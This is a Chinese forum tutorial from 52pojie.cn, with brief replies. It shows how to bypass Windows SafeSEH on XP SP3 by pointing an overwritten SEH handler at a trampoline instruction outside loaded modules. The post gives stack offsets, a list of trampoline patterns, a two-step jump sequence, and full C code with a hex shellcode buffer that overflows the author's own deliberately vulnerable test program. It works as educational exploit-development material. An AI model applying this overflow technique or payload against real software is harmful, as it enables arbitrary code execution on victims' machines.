吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7768|回复: 7
上一主题 下一主题
收起左侧

[漏洞分析] 突破SafeSEH机制之三——利用加载模块之外的地址绕过SafeSEH

[复制链接]
跳转到指定楼层
楼主
筠溪 发表于 2017-8-4 11:41 回帖奖励
本帖最后由 筠溪 于 2017-8-4 11:43 编辑

敲黑板敲黑板~睡着的同学醒醒了!!
今天我们继续突破SafeSEH,上次讲到第二种思路利用未启用SafeSEH模块绕过SafeSEH
今天来实现最后一个突破思路:
      异常处理函数位于加载模块内存范围之外,DEP关闭------->>>在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
上次我们是找到了一个加载模块内存范围内找到的一个指令,今天我们要在加载内存范围外找一个跳板指令了。

预告:今天会有一个漏洞利用中很重要很常用的技巧,那就是跳板指令的选择与查找。(而且是那种,你只需要知道是什么,不需要知道为什么的方法。)


环境:
XP SP3
vs 2008
optimization disable
release
DEP关闭(这个问题我想明白了,XP默认就会关闭,不用vs专门关闭)


先把今天实验代码贴出来
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        __asm int 3
        test(shellcode);
        return 0;
}


直接运行程序,在int3的地方停下来,查看OD插件SafeSEH,查看加载模块情况:

发现所有的模块都已经开启SafeSEH

通过 查看->内存,查看内存情况:

类型为map的映射文件,SafeSEH会将他们无视,不对他们进行有效性验证的,所以当我们把异常处理函数指针指向这里的某一个跳板指令,利用跳板指令跳回栈,我们是不是就可以执行我们的shellcode了。(重点~)

那我们需要什么样的跳板指令呢?前方高能预警... ...
call/jmp dword ptr[esp+0x8]
call/jmp dword ptr[esp+0x14]
call/jmp dword ptr[esp+0x1c]
call/jmp dword ptr[esp+0x2c]
call/jmp dword ptr[esp+0x44]
call/jmp dword ptr[esp+0x50]

call/jmp dword ptr[ebp+0xc]
call/jmp dword ptr[ebp+0x24]
call/jmp dword ptr[ebp+0x30]
call/jmp dword ptr[ebp-0x4]
call/jmp dword ptr[ebp-0xc]
call/jmp dword ptr[ebp-0x18]

好,文章中说,这些跳板指令都能精确的跳回来。(原话是“经过前辈们的不懈努力找到了一批可以用在这种情况下的跳板地址”)
nani???黑人问号???
一句话都不多说。当时真是想死的心都有了,满脑子问号。
于是秉持着“不求甚解”的心态“先这么着吧”,继续往下调试。
而且作者说,他开发了一个OllyFindAddr的插件,可以找出来这些所有指令的地址,在整个程序内存空间中:

我抱着试试看的心态,真的找到了!图中红色的指令,call [ebp+0x30],位于0x280B0B,对比刚才看到map文件的地址,发现这个地址确实是在map文件映射的内存空间中的。


第一步 确定栈中结构
其实跟之前的差不多,我们老方法再看一遍,多看一遍不花钱。
先把shellcode字符设置成200个字符。查看首地址和末尾地址,看看末尾地址离需要溢出点有多远。

我们看到,数据末尾离我们要覆盖的地方还有24个字节的长度,我们在221-224把我们找到的跳板指令布置上去。

第二步 call [ebp+0x30]到底是干嘛的
重新布置shellcode后,我们调试到这一步,看看这个跳板指令到底是怎么蹦跶的。
要调试到call 280B0B这一步还挺麻烦,老是跳过,所以说搞逆向的人一定要耐心啊。

在准备call ebp+0x30的时候,我专门记下了作者说的另外几个指针,无一例外,他们指向的是同一个值,0x0012FF60
这个地址正是覆盖的SEH结构中NEXT SEH指针的地址!!!也就是说跳板指令的意义在于,会使程序重新跳到这个
0x0012FF60继续执行,既然程序流程已经被我们通过跳转指令劫持回来了,我们继续考虑接下来怎么运行到shellcode就好了。
另外,我们惊奇的发现,每一个ebp跳板指令偏移再+0x20,就是esp的跳板指令的偏移。

第三步 跳转到shellcode
跳回到NextSEH指针了,可是我们无法直接jmp到shellcode,因为这里离shellcode太远,并且只有4个字节,jmp short指令只能跳转128字节的距离,而jmp far 需要8个字节的空间,如果jmp far的话,就和跳板指令地址shellcode中0x00280B0B冲突了。
所以这里又是一个常用技巧叫做双跳转指令,先用一个jmp short跳到一个合适的地方,再用jmp far跳到shellcode执行。
jmp short考虑向前跳8个字节,以便给jmp far腾出空间,采取\xEB\xF6,因为要包含自己的2个字节。
jmp far就计算与shellcode的距离了,

所以我们的shellcode在栈中是(注意倒序)
90909090(shellcode末尾)
————               (90填充)
————               (90填充)
\xE9\x2B\xFF\xFF  jmp -(200+8+5)
\xFF\x90\x90\x90
\xEB\xF6\x90\x90  jmp -(8+2)
\x0B\x0B\x28\x00 SEH处理函数

修改shellcode代码:
[C] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
 
;
 
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);       
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        __asm int 3
        test(shellcode);
        return 0;
}


有哪里不懂,可以提问,我知道的话一定会解答。

免费评分

参与人数 2吾爱币 +9 热心值 +2 收起 理由
Hmily + 8 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
snccwt + 1 + 1 用心讨论,共获提升!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
snccwt 发表于 2017-8-4 12:03
学习了,谢谢
3#
yxp10010 发表于 2017-8-4 13:07
4#
a15839589175 发表于 2017-8-4 14:37
5#
xiawan 发表于 2017-8-4 15:27
这可是真正的学习贴,怎么不给精华?
6#
hikarugl 发表于 2017-8-4 23:24
楼主有大凶器~~~
7#
naic 发表于 2017-10-17 16:54
论坛因你更精彩!
8#
vili88 发表于 2018-7-15 20:32
支持楼主……很实用
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-2 23:35

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表